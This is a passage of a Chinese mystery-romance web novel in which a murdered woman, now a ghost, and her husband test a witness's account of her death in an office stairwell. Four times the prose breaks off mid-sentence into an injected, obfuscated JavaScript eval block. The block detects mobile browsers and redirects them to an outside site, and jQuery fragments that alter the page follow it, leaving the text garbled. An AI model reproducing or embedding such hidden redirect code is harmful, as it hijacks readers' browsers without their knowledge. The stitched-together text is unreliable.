“我们社长?让我想想,名校毕业,单身,长相中上,无不良嗜好,别的么,不怎么打交道,不好说。”端木茵停顿一下,疑惑地扬了扬眉,“不是,你问他干什么?是不是他有嫌疑?”
“太过滴水不漏,反而觉得不正常。”梁淮站起身,拍了拍衣服上沾到的灰尘,“走了。”
“去哪?”
“去找老吴。”
***
“于森?”
吴警官眉头紧蹙着。他肤色黝黑,看上去总有四十五六岁的样子,但听梁淮说,吴警官吴维才三十八岁。
熬夜加班,风吹日晒的,哪有不显老的。
这是梁淮的原话。
端木茵想想,觉得是这个理。
吴维找出了笔录,看了眼,说:“他20点16分就下楼了。”
走到到吴警官身后的端木茵,瞄了眼笔录,笔录上,除了写着社长于森是20点16分走楼梯下楼的,还写着他之后的行程——20点19分在对面的24小时便利店买了瓶瓶装果汁,接了个电话,20点27分离开便利店回住处。
“你确定吗?”梁淮有意拖长时间。
“确定,楼下有监控拍到。电梯层在20点08分到20点28分之间一直停留在三楼。这个时间点没有人从电梯下楼,从楼梯下楼的,端木公司的只有他们社长一人。”吴维拿过搪瓷杯,揭开杯盖,发现杯里的茶是隔了不知道几夜的,茶叶上甚至泛了点白点,便又把杯盖盖回去,“怎么问起他了?”
“端木她……”梁淮本想找个说得过去的借口,但话只开了个头,便被打断。
“吴队,尸检报告出来了。”一位年纪很轻的女警官很礼貌地敲了敲原本就敞开着的门。
“通知他们,五分钟后开会。”吴维站起身,颇有些赶客的意味,“那个……”
梁淮也跟着站起身,伸手和吴维握了握手:“有事我再电话联系。”
吴维点了点头,然后大步走了出去。
梁淮两手插兜,远远看着吴警官远去的背影。
“是那具男尸。”端木茵倚在走廊的墙上,双手交叉抱在胸前,一副看客的模样。
“嗯?”梁淮低头看她。
“我说,是新闻里的那个案子,倒吊的尸体。”
梁淮恍然:“你又知道了?”
“我偷看到了。”她朝他俏皮地眨眨眼。
梁淮低头无声地笑了笑。
***
端木茵发现,变成“阿飘”也不是一点好处没有的。
比如说,不用加班、不用敷面膜、不用计算大卡……
但,当对着卧室里唯一一张床,她犯愁了。
“你不会是要我去睡沙发吧?”端木茵叉腰,凶巴巴地瞪着在铺床的梁淮。
梁淮直起身,静静地看向她。
“梁淮,我跟你说,沙发我肯定不睡,你想也别想!”想到客厅里那老旧的沙发,以及它陷下去时发出的像老年人苟延残喘的嘎吱声,端木茵摇了摇头,“要睡你去睡,脚都伸不直,我不可能睡沙发的。”
梁淮无奈,看着她,说:“你睡不下我就睡得下?”
端木茵语气心虚:“梁淮,你可以打地铺。”
地上寒气重,还是适合男士睡。
梁淮气笑:“端木茵,你怎么不直接把我赶出去?”
端木茵一屁股坐床上,抬头看他:“你自己说的啊,梁淮,你别说话不算话。”
“端木茵,这是我的房子!”
“你租来的。”
“那也是我的房子。”
“反正我不管。”
“要不你回家去,家里床大,你脚肯定能伸直。”
“那我把村霸也带回去。”
“村霸现在看不到你。”
“它是我的陪嫁猫。”
“可你没法投喂它。”
“梁淮,你要气死我是不是?”
“没有。”
“你就是有。”端木茵委屈死了。莫名其妙被人杀害,凶手逍遥法外,她却只能飘来飘去,现在连睡个觉也没她的地。
越想越委屈,最后化作哽咽的哭泣。
梁淮叹了口气。
他吃不消端木茵流泪,哪怕没有眼泪,只有哭泣声,他也听不得:“靠窗还是靠门,你先选,我去洗漱。”
梁淮拿了换洗的衣物转身出了卧室,再回卧室的时候,端木茵已睡在靠窗的半边,薄被拉到下巴下,只露出一张巴掌大的小脸。
窗帘没全部拉上,端木茵微微歪着头,望着月色。
梁淮掀开被子,规规矩矩地躺下。
“梁淮……”
“嗯?”
“你明天要上班了么?”
“还有几天假期。”
端木茵“哦”了声。
“睡吧。”他说。
端木茵轻轻点头,把被子拉得更高。
被子上有晒过太阳的青草味,还有点梁淮的味道,混杂在一起居然挺好闻,也让人安心。
***
清晨,端木茵是被一只毛茸茸的呜咽声给吵醒的。
村霸正趴在梁淮身上用脑袋蹭着梁淮,这个姿势使得它臭烘烘的小屁屁正好对着端木茵。
端木茵推开村霸的小屁屁,坐起身。
梁淮还没醒,村霸明显不耐烦了。
它从梁淮身上跳过去,又跳过来,时不时呜咽两声。
端木茵想,村霸大概是饿了。
看不得自己孩子挨饿,端木茵轻手轻脚下了床,她记得,昨天梁淮是在厨房的柜子里找的罐头。
“醒了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377063|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梁淮半眯着眼睛撑起身子,裸着的上身肌肉紧实,线条流畅又优美。刚醒,他的声音比平时更低沉些。
“嗯。”端木茵咽了口唾沫,扭头,不去看梁淮。梁淮大概不知道自己这副半醒模样最是性感。
“村霸饿了。”
她好像也饿了。
才多久不见,原来她还馋他的身子。
***
公司楼下的一家名叫“LaBrujita”的咖啡店里,端木茵和梁淮寻了个角落里的位子坐下。
LaBrujita的老板很会做生意,比起大多数九点、十点才营业的咖啡店,他们家早上七点就开门营业了,写字楼员工还能打折,生意自然好到爆。
梁淮点了套冰美+火腿芝士三明治套餐。他一边刷手机,一边吃早饭,三明治吃完了,美式一口没喝。
端木茵单手托腮,时不时注意推门进来的客人,无聊了,捏着咖啡勺轻轻搅动梁淮点的冰美。
“别搅了,被人看到要以为是灵异事件。”梁淮拿过咖啡勺,搁在纸巾上。
端木茵想想也对,便不跟他计较:“你在刷什么?”
“新闻。”
“财经新闻?”太过无聊,端木茵有一句没一句地问着。
“嗯。”梁淮式答复。
端木茵倾身瞄了眼。
咖啡店的门又被人推开,进来的是八楼出版社的小祝。
“她来了。”端木茵推了推梁淮。
梁淮站起身,抬起手臂招呼了声:“祝小姐,这里。”
小祝手里捏着手机,大步走了过来。
梁淮拉了把椅子让她坐下。
“祝小姐,喝什么?”梁淮问。
“不用了。”小祝忙摆手,“我溜出来的,只能给你十分钟的时间。”
梁淮轻咳了声:“那我开门见山了。”停顿了几秒,他又开口道,“你能跟我说说我太太出事那天发生的事么?”
小祝略显惊讶:“呃,是不是有什么问题?我把我知道的都跟警察说了。”
“没有,只是想多了解一下。”梁淮笑了笑,眼中却带着点悲伤,“我和我太太……本来下个星期是我们的结婚纪念日。”
不是,梁淮说这些干什么呀?!端木茵惊得睁大了眼睛。
她用脚踢了踢梁淮,梁淮不动声色地垂下左手,轻轻捉住端木茵的小腿,面上依旧维持着刚才的悲伤。
端木茵使了点劲才把脚从梁淮手里挣脱,她白了梁淮一眼,后者仍一副波澜不惊的模样。
小祝不知桌底下的那一幕,心里同情了一下梁淮,礼貌地朝他点头:“节哀。”
“没事。我就是想多了解一下,你能和我多说说么?”
小祝想了想,回忆道:“那天我加班,下班的时候已经挺晚了,我有习惯走楼梯下楼的,就没坐电梯。”
梁淮点头,示意她说下去。
“然后我就看到有人躺在五楼和六楼间的转角平台上。我以为……你太太她是踩空了站不起来了,毕竟楼里的台阶很滑,上个月就发生过踩空的事,踩空的那个人后来脚背骨折了。
“我跑下去想帮她,才发现情况不太对。地上有滩血,但血已经干了,我就知道她摔了起码有五分钟以上了。”
梁淮“嗯”了声,没插嘴。
小祝又继续说下去:“我探了探她的呼吸……”
“然后你就报警了?”
“嗯。我没敢待在五楼和六楼间的转角平台,就去了六楼和七楼间的平台,那里也有扇窗,我就待在那看警察来了没。”
“期间没有人上下楼么?”
“没有。我反正没看到人,没听到声音。本来时间也不早了,大多数人都下班了。而且我之前也说了,楼里的台阶很滑,出过事,大家也不愿意走。”
梁淮抿着唇,神情严肃:“还有没有其他事发生?”
小祝思忖了几秒,回道:“你这么问,我倒记起一件事。”
5. 第五章 八月二十一日
“你说。”
“我20点20分左右的时候其实已经下班了。”
“哦?”
“我照常走楼梯下楼,刚走了两个台阶,就听到有猫的叫声。”
端木茵抬了抬眉。
怎么会跑出一只猫?
她看了眼梁淮,梁淮显然也很困惑,他眉头皱起,问:“猫的叫声?”
“是的,猫的叫声,是从楼下传来的。我吓了一跳。正要往下看,手机响了,是我同事,问我是不是还在公司,能不能帮她看看她的U盘是不是落办公室里了。”
“你折回去了?”
小祝点头:“对。折回去前,我往楼下瞄了眼。”
“你看到什么没?”
“看到了。”
“是什么?”
小祝一脸认真地回道:“是只黑猫。”
“黑猫么?”梁淮自言自语。
“可能是溜进楼里的流浪猫。”
梁淮若有所思。
小祝看了眼放在桌上的手机,颇为不好意思地说:“时间不早了,我要回公司了。”
“不好意思,打扰你那么长时间,最后一个问题,你在楼梯间有闻到过什么味道吗?”
“味道么?”小祝眉头微微拧起,一脸疑惑,“你这么一问,我倒想起来了,好像是闻到过什么味道……”
“能记得起来是什么味道么?”
“嗯,是孜然的味道。”
***
端木茵拿起被梁淮搁在纸巾上的咖啡勺轻轻搅拌着已经没那么冰的冰美,眼睛却盯着梁淮。
梁淮两指轻轻揉着眉心,略显疲惫。
她看得出来,梁淮很困惑。
她也困惑,困惑为什么小祝的证词和她记得的细节怎么差了那么多。
小祝只是意外闯入案发现场的人,理论上没必要说谎。
但理论是理论,事实呢?小祝总该有个说谎的理由。
她会是杀害自己的凶手吗?
端木茵轻轻摇头,否认了这个可能性。
小祝和她不是同公司的同事,她们甚至不在同一楼层办公,偶尔遇到了,也只是点头打个招呼的交情,那么小祝又如何神机妙算到她加班到几点下班、算到她会因为不耐烦等待一直停在三楼的电梯而选择走楼梯下楼?
所以,小祝不可能是凶手。
不是凶手,那她为什么要说谎?
除非……
端木茵瞥了梁淮一眼:“你怎么看?”
梁淮停下按揉眉心的动作:“什么?”
“小祝的证词呀?”
“那个啊,有点意思。”
“哪里有意思了?”端木茵有点不高兴了。
梁淮轻笑:“她提到了黑猫,提到了孜然,不是很奇怪么?”
“不奇怪啊。我知道她为什么那么说。”端木茵朝梁淮眨眨眼。
“哦?说说看。”梁淮往椅背上一靠,一副洗耳恭听的架势。
端木茵装模作样地咳了声:“你有没有发现,小祝她是个很受人外界影响的人。”
梁淮从端木茵手中拿过咖啡勺放回纸巾上,端起热美抿了一口。他本就不爱喝咖啡,这杯半热不热的热美显然和醇香搭不上边,他刚舒展的眉头又紧蹙了。
“说下去。”梁淮嫌弃地将咖啡杯推开。
难得在梁淮脸上看到如此丰富的表情,端木茵没忍住,咯咯咯笑了起来。
她笑得放肆,梁淮瞥了她一眼,抿着唇,没吭声。
可能意识到自己笑得太过放肆,又想到梁淮是在为了她的事操心,端木茵心里突然冒出了一点点愧疚,她清了清嗓子以缓和一下气氛:“我说到哪了?”
“说到祝小姐是个受人外界影响的人”
“对。”端木茵点了点头,“因为之前有人踩空过,她看到我倒在楼梯间,就下意识认为我必定也是踩空滚下楼的。同样,因为听到猫叫声,她就认定自己一定看到了一只黑猫。”
“你认为她看到的不是只黑色的猫?”
端木茵纠正他的说法:“我认为她没看到黑猫。”
“那和我说的她看到的不是只黑色的猫有什么区别?”
“当然有区别。你说她看到的不是黑色的猫,换言之,你认为她看到猫了,只是那是只其他颜色的猫。可我在说,她只是以为自己看到猫了,其实并没有真的看到。”
“依据呢?端木茵,拿依据说服我。”梁淮往前微倾。
端木茵撩了一下额前的碎发:“小祝说她20点20分左右下班的,这个查一下八楼的监控应该就能确认她说的是不是真的。我们先假定她就是20点20分左右下班的,那么她走到楼梯间差不多就是20点22分左右,这意味着,凶手要在20点22分前将我推下楼梯,不能在这个时间点之后,之后的话,哪怕小祝没走到六楼,也不会忽视我滚下去发出的巨大声响。
“另一方面,凶手在20点25分的时候点开了我手机中的社交软件,在推我下楼后,凶手要确认我是否真的死了,如果没死透,他/她应该还会补一下,甚至两下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377064|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,凶手还要费时间从我包包里找出手机……我代入凶手视角设想了下,觉得他/她时间挺紧的。”她停顿了一下,抬眼看向梁淮,“那么请问梁先生,已经够手忙脚乱的凶手为什么还要不怕麻烦带着一只猫行凶?”
“说下去。”
“好吧,你可能要说,也许不是凶手带去的猫,而是附近的流浪猫。公司楼下有三只常驻流浪猫,两只橘猫,一只虎斑猫,没有那么凑巧我出事那天新来了只猫,而那只又正好是只黑猫吧?”
“继续。”
“你现在养着村霸,应该也知道,猫,特别是流浪猫,对任何细小的动静都很警惕。在发生了有人滚下楼那么大动静后,你认为如果真有只流浪猫在现场,它还会留在那吗?不会,它会比村霸嗅到猫罐头还跑得快。
“好,我们假设当日确实有只黑猫在现场,且那只黑猫比一般的猫咪胆子要大,大到当着它的面,一个人滚下楼,颅骨骨折的情况下,它还能保持高冷的姿态不跑走,等着小祝从八楼往下看到它。”
端木茵停顿了下,抬起眼眸,看向梁淮,“你不要忽略了猫对气味的敏感。猫对气味很敏感,包括对血腥味。你能想像,那日在现场,一只没人管束的流浪猫闻到血腥味会干什么?”
梁淮淡淡地说:“它会去嗅。”
“它不但会去嗅,还会用它的小爪爪扒拉,扒拉的后果就是现场被搞得一团糟。”端木茵摊手,“我们去看过现场,虽然被清理过了,但并没有清理得十分干净,还是能看出那滩血渍的痕迹,那是一块完整的血渍痕迹。”
梁淮不语,垂眸沉思,半晌才道:“有关猫的说法你是对的。现场有猫的可能性很小,祝小姐却声称自己看到了只黑猫。可能就像你说的那样,她是个很受周围人和环境影响的人。
“或许那天她确实听到了猫叫声,比方说,楼下流浪猫的叫声。她一开始并没有注意这个细节。刚才我问她还有没有其他事发生,她才特意去想,然后记起了那声猫叫声。
“出事那天是中元节,又发生了你坠楼死亡的事,她下意识地把中元节、死亡和猫叫声联想到一起。受西方某些传说的影响,现在还有很多人觉得黑猫不吉利,认为黑猫会带来霉运,祝小姐可能也是那样想的。她下意识地认为,有猫叫声——现场有只猫,有人死了——中元节阴气重,黑猫带来霉运。”
梁淮停顿了一下,又轻轻摇头:“还是过于抽象。到底哪里不对?”
“梁淮,还有一个可能性,小祝她没看到黑猫,她看到的是某个一闪而过的黑色。”
6. 第六章 八月二十一日
“一闪而过的黑色?”梁淮眼盯着她,眼眸深邃。
端木茵撑着下巴,微微歪着脑袋:“猫叫声、中元节,再加上快速闪过的黑色,黑猫的形象不就出来了。”
“你是想说,祝小姐看到的是凶手?”
端木茵点头:“小祝说了,她的手机响了,是同事打给她的。凶手肯定也听到手机铃声了。凶手可能正在鬼鬼祟祟地拉开我的NANOSPEED,听到手机铃声,意识到楼梯间有人。万一那个人往楼下张望呢,那可不行,会被发现的,于是,他/她躲了起来。”
梁淮把玩着无名指上的戒指,自言自语道:“凶手是穿着黑色衣服的人。”
“又或许,是有一头黑色长发的人。”端木茵做了个撩头发的动作。
“我打个电话问问老吴。”梁淮从裤兜里摸出手机,拨了个号,那头大约是忙着,没接。梁淮站起身,说,“这里信号不太好,我出去打,你在这里等我。”
端木茵也没想跟出去。
外面热得要死,她宁可留在咖啡店里吹空调。
她“嗯”了声,注意力已被躺在角落里南天竹花盆里的大白猫吸引过去。端木茵挪了个位,方便撸猫。
梁淮动了动嘴,想说什么,最后还是没说出口,大步走出了咖啡店。
五分钟过去了,梁淮还没回来,端木茵站起身,旋身走到大落地窗旁朝店外张望。
天太热了,街道上行人很不多,偶尔有几个打着伞的路人走过,还尽量贴着沿街门面走。
端木茵没看到梁淮的人影,正想着他跑哪去了,咖啡店的玻璃门被推开,有客人进来。
咖啡店生意很好,店堂里几乎没有空位了,一个穿着联名款T恤配牛仔短裤的女孩指了指角落的方向,说:“那里,那里还有位子。”
端木茵还没反应过来,两个女孩已坐下。
店里冷气打得十足,穿联名款T恤的女孩依旧拿了本杂志扇了扇:“好热呀。”
“都高温预警了,明天会更热。”齐耳短发女孩招了招服务员,指着梁淮没喝完的热美说,“服务员,麻烦收拾一下。”
“好的,请稍等一下。”
端木茵搓了搓脸颊。
好吧,又被人“忽视”了。
她好像已经能平静地接受别人看不到她的事实了,只是还有点肉痛那杯没喝完就被服务员收走的热美。
“璐璐,这里!”齐耳短发女孩朝推门进来的奶茶灰色头发的女孩招手。
那个叫璐璐的女孩在那两个女孩对面落座,拿出手机扫码:“喝什么?”
“冰美。”齐耳短发女孩说。
“筱希呢?”
齐耳短发女孩推了推筱希的胳臂:“问你呢?”
“香草拿铁。”
“在看什么呢,那么认真?”齐耳短发女孩凑过去。
筱希:“在看博主模拟案发现场。”
“什么模拟案发现场?”
“就是倒吊男尸的那个案子,博主现在在案发现场直播。”筱希把手机朝齐耳短发女孩那边推了推。
“好荒凉的地方。”
“那是,本来就是郊区的一个村,再加上那地方要建地铁了,附近拆迁后基本没人住了。那座倒吊着尸体的古桥不知道会不会保留下来。”
端木茵挑眉。
倒吊男尸?那不就是吴警官在查的凶杀案件么?
“你们在看什么?”璐璐点好单,换了个位子和朋友挤在一起。
三颗脑袋挤在一块实在难以看清楚,筱希索性拿过桌上的咖啡杯造型的手机支架,将手机支了起来。
现在这个角度,端木茵正好能看到大半个屏幕。
博人眼球的博主站在一片荒地里。他身后,是一座古桥,以端木茵对桥梁学微薄的了解,只能看出那是座单孔石拱桥。
“这座桥呢,叫望槐桥。”博主介绍着,“这里拉着警戒线我们上不去,不过我们站在这也可以看到对面有株老槐树,那株老槐树呢,有一百多年的树龄。
“对于门前种槐树一直有争议。有人认为‘门前有槐,升官发财’,也有人认为槐树的‘槐’字里包含着‘鬼’字,不吉利*。
“且不争论到底哪种说法有道理。今天我要讲的事呢,就是和槐树有关的。
“半个月前,这里下了场很大的雷阵雨,据村民们说,那晚不停地闪电,雷电持续朝着同一个方向闪。第二天,村民们就发现前晚的雷击把望槐桥对面的老槐树从中间劈成了两半。从那时候开始,还未搬走的村民就开始惶惶不安,这株百年树龄的老槐树被雷劈成了两半,是不是暗示着霉运将至?
端木茵嘴角僵了僵。
这博主是《八墓村》*看多了吧。
博主继续介绍着:“说起老槐树,就不得不提尺蠖了。知道尺蠖是什么吗?
“尺蠖是一种绿颜色的虫子,它靠着吐出来的丝悬挂在槐树下。尺蠖呢,有个不太吉利的俗名,叫——‘吊死鬼’。”
博主顿了顿,给了望槐桥一个全镜,“我们再来说说前几日被发现的尸体。尸体被发现的时候,很巧,也是呈悬垂状。受害者的脚上绑着绳子,绳子的另一头系在桥的望柱上,和‘吊死鬼’不同的是,尸体呈倒错悬垂状,也就是头朝下,脚朝上。
“可以想像,受害者最后看到的景象,是对面被雷劈成两半的、倒错的老槐树。”
博主又说了些什么,但端木茵没听进去。
刚才那个望槐桥的全镜让她生出些熟悉感。
她好像在哪里看到过那座桥。
真是奇怪,明明她没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377065|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有听说过“望槐桥”的名字,为什么会觉得那座桥眼熟?
咖啡店的门又被人推开,梁淮走进来,往这边扫了眼,看到角落的桌子被占了,他稍微拢了拢眉,没有往这边过来。
端木茵想知道吴警官和他说了什么,便走了过去。
“吴警官怎么说?”
“出去说。”梁淮伸手抵住玻璃门。
端木茵:“去哪里。”
“很近的。”
答非所问。端木茵翻了个白眼。
临近中午了,室外的气温嗖的一下蹿了上来,端木茵估计了下,总该超过三十八度了。她抬手遮住直晒过来的阳光,催促梁淮走快点。
梁淮低低笑了声,加快脚步。
“吴警官怎么说?”端木茵问。
“没有人穿黑色衣服。”
“怎么可能?”端木茵皱了皱眉头,“你有跟吴警官说么,不一定是黑色外套,也可以是黑色T恤、黑色连衣裙之类的。”
梁淮:“都没有。”
“那接近黑色,视觉上会给人造成黑色错觉的颜色呢?”
“问过了,也没有。”
“怎么会?难道我推论错了?”
梁淮低头看她,难得温柔:“别老怀疑自己。你的推论没问题,可能还有别的细节我们没注意到。”
端木茵点了点头。梁淮没说错,她不能总是先质疑自己。
刚想跟梁淮说望槐桥的事,梁淮却停下脚步。
“到了。”他说,端木茵抬头,才发现梁淮说的很近的地方原来是公司所在的写字楼。
“怎么又带我回公司了?”
“进去跟你说。”
写字楼的四部电梯都运行着。端木茵撇了撇嘴角,那天,但凡多一部电梯运行着,她也不至于被杀害,就算最后凶手还是动手,起码她不会死在七月半的晚上。
梁淮绕过电梯,走向楼梯间。
“不坐电梯上去?”端木茵问。
“我们走楼梯。”
端木茵不开心了:“那么热的天,你要我爬楼梯?梁淮,你不知道楼梯间没空调吗?”
梁淮笑笑:“原来你们阿飘也怕热?”
“梁淮!”
“我在想,阿飘是怎么做到不吃不喝还有力气能叫那么大声。”
“梁淮!”
“走吧,早点结束早点回去。”说罢,他便大步朝着楼梯间走去。
端木茵跟着过去。
外面太阳很大,楼梯间异常闷热,转角平台的窗虽敞开着,但没有一丝风吹进来,久聚的热气让人有点受不了。
走到三楼和四楼间的转角平台,梁淮停下脚步。
他站在转角平台的窗口前,回头问端木茵:“告诉我,从这里看出去,你看到了什么?”
7. 第七章 八月二十一日
梁淮往一旁挪了挪,好让端木茵看得清楚。
端木茵探头。
“嗯,有看到几株香樟。”她又凑近了些,几乎半个身子都趴在窗上,“楼下草坪上有张玻璃纸,可能是辣条的包装纸……”她还想看得仔细点,却被梁淮拉了回来。
“好了,不用看那么仔细,只要告诉我站在窗前,你能看到什么?”
端木茵整了整上衣,回答:“不是说了么,几株香樟。”
梁淮点头:“还看到什么?”
“树上有知了。”
“你确定没看到别的了?”
“梁淮,你到底想要我看到什么?”端木茵有些生气,说话声音自然而然就大了起来。
这男人有神经病吧,说手机信号不好跑出去打了个电话,一出去又半天不回来,总算回来了又把她拉到这来看风景。
他是不是太闲了?
“没什么。我们上楼吧。”梁淮拾阶而上,心情似乎没有因为端木茵发脾气而受影响。
端木茵在原地没动,叫住他:“梁淮,你有话就说清楚,我最讨厌你把话搁心里。难道我是你肚子里的蛔虫吗?你不说,我怎么知道你怎么想的。”
梁淮止住脚步,转身,走下两格阶梯,眼中闪过一丝疑惑:“你……不会是因为这个提离婚吧?”
端木茵微愣,即刻反应过来他话里的意思。
她狠狠瞪他:“梁淮,你别扯不相干的。”
梁淮低头轻笑:“阿茵。”他唤她,声音温柔,“原来是这样吗?”
要命!他干吗这样跟她说话。她最受不了他用那么温柔的声音叫她“阿茵”,还有那弧度恰到好处的笑容。
当年在派出所,梁淮也是微微弯着嘴角,用温柔的声音问她有没有受伤。
端木茵感觉到自己的心跳剧烈了几分。
真是奇怪,她不是死了么,死了心怎么还会跳得那么快。
“不是说要上楼么,还不快点。”她推开梁淮,蹭蹭蹭上了楼,不让他有追问她的机会。
到五楼和六楼间的转角平台,梁淮叫住她。
“又怎么了?”端木茵还气着,语气就不怎么好。
“阿茵,从这里看出去,你现在看到了什么?”梁淮一手插在裤兜里,走上最后一个台阶。
“梁淮,你到底在玩什么?”
他语气笃定:“你看了就知道。”
端木茵走到窗前,嘴里碎碎念:“还是香樟啊。咦……”她把身子往外探了些,马路对面,公交车没有经过时,能清楚地看到对面沿街的店铺——一家药店、一家烧烤店,还有一家便利店。
梁淮走过来,站在她身旁,问:“看到什么了?”
端木茵翻了白眼:“你不是自己也看到了么?”
他又笑了。
这该死的笑容,她真的好吃他的颜,微翘的唇角弧度、高挺的鼻梁、深邃的眼眸,哪哪都长她审美点上。
她别过头去,不想被这个妖孽迷惑住。
“你看,阿茵,你说的是对的。即使老吴说没人穿黑色衣服,但这并不推翻你的推论。”
端木茵也笑了。
原来要她看窗外是为了这个。
她一下子放松了下来,语气也跟着友善了些许:“窗外的风景证明了小祝是很受外界影响的人。她的证词可能有漏洞,但不完全是胡乱编出来的。”
梁淮点头:“确实。你说你闻到了白兰花香味,她却说闻到了孜然的味道。两种完全不搭界的香味为什么会被提到?
“我知道你说你闻到了白兰花的香味,那就是闻到了白兰花的香味。那么祝小姐呢?她是不是真的闻到了孜然的香味?
“我就在想你的话。你说她是个很受外界影响的人,那是不是意味着她说她闻到孜然的香味其实也是受外界影响而造成的。”
“然后你来了这里?”端木茵转身,倚靠在墙上,直面梁淮的目光。
他也转过身,跟她一起靠在墙上:“对,我来了这里,一层层走上来。我想知道,是什么让她以为自己闻到了孜然的香味。楼下的香樟长得很茂盛,从底楼到到四楼和五楼间的转角平台,透过窗户只能看到一片高大的香樟。但从五楼和六楼以及更楼上的转角平台看出去,由于没了香樟的遮掩,视角广阔了。”
端木茵闷闷地笑了:“药店、烧烤店和便利店。药店和便利店不提,那家烧烤店我知道,肉烤得滋滋作响,撒上孜然粉,特别特别香。
“当然,香味飘不到那么远,但小祝守在六楼和七楼间的平台时,也许偶尔瞥了一眼,当时天已经乌黑,对面的霓虹灯招牌亮起,很容易就看到烧烤店三个字,然后这三个字就烙在她脑里了。当你问她是否有闻到什么味道的时候,她想,你这么问肯定是有缘故的,于是,她绞尽脑汁回忆,然后第一想到的是对面招牌上显眼的‘烧烤店’三个字。”
端木茵叹了口气,接着说,“她没刻意说谎,但真的好误导人啊。”
“我们得甄别哪些证词是客观证词,哪些是主观证词,除去主观证词,从她的客观证词来缩短你遇害时间。
“我们之前已知道你遇害的时间是在20点25分前。现在根据她的证词,可以推断20点22分的时候你已经遇害了。你们社长于森是20点16分出现在一楼大厅,除去走楼梯的时间,大概2分钟左右,我们就算他20点14分推开六楼的防火门,那个时候你应该还没遇害,反之,我就要疑惑他为什么没有报警了。”
端木茵淡淡地说:“如果他是凶手就不会报警了。”
“如果他是凶手,20点27分点赞的人是谁?”
“不知道。”
梁淮:“先别去想了。下午还要去接咱妈出院。”
端木茵纠正他:“是我妈。”
“有区别?”
端木茵咕哝了句什么,率先下楼了。
坐进车里,吹着冷气,她才觉得整个人都活过来了:“好热啊,搞不懂这么热的天怎么还会有人待在户外搞直播?”
梁淮关上车门,调整了下后视镜,问:“什么直播?”
端木茵来了兴致,她侧靠在副驾座上,膝盖曲起,高跟鞋被她脱掉了,露出白白的脚指头:“就是刚才我在咖啡店等你,我看那几个小姑娘在看直播,也跟着看了点。”
“你坐好点。”
端木茵随口“嗯”了声,却一点没改变坐姿:“是有关那个新闻里说的倒吊的尸体的直播。”
梁淮将车启动,一边与她搭话:“这是吃了太饱撑着了?”
他面无表情却说着吐槽的话,惹得端木茵咯咯咯直笑:“引流吧,反正你别管。横沟正史的《八墓村》你看过吗?”
“没有。”梁淮依旧面无表情。端木茵说话很跳跃,经常想到什么说什么,有时候他都不怎么跟得上她的思维节奏。
端木茵无所谓地摆了摆手:“那是本推理小说,故事的开头的部分介绍了一个叫八墓村的村庄。有一天,这个村里的一棵孪生杉树被雷劈成了两半,然后村里的人开始一个一个死去。”
“这和直播
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377066|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有什么关系?”
“就是那个倒吊的尸体被发现的地点也有一棵古树被雷劈成了两半。”
“挺会瞎扯的。”梁淮看了端木茵一眼,她兴致勃勃地说着一些古古怪怪的话,还不停地比划着。
她总有说不完的话,说话的时候语调略有些快,但不妨碍她声音清脆好听,眼里还闪着亮光。
有时候他甚至会冒出阿茵没有死的念头。
“梁淮,你知道么,那个望槐桥我好像见过。”
端木茵的声音把梁淮的思绪给拉了回来:“什么望槐桥?”
“我说了半天,你都不认真听的吗?”端木茵有点生气,她调整了坐姿,不再对着梁淮。
“抱歉,刚刚有点走神。”
端木茵嘀咕了两句,耐不住实在想和人说说她见过望槐桥的事。她撇了撇嘴,妥协道:“那个望槐桥,我好像见过。”
“网上见的?”
“好像不是。我记不起来是哪里见过。望槐桥在郊区,我没事也不会特意往郊区跑,是吧?啊,等等……”她眉头微拧,似乎记起什么了。
梁淮:“记起来了?”
“梁淮,我出事前去郊区做了个口译的项目,你还记得吗?”才说完,端木茵就尴尬地用手遮住侧脸。
去郊区做口译项目是在她跟梁淮提离婚后发生的。那个时候车出故障了,前不着村,后不着店的,她心一慌就拨了个电话给梁淮。
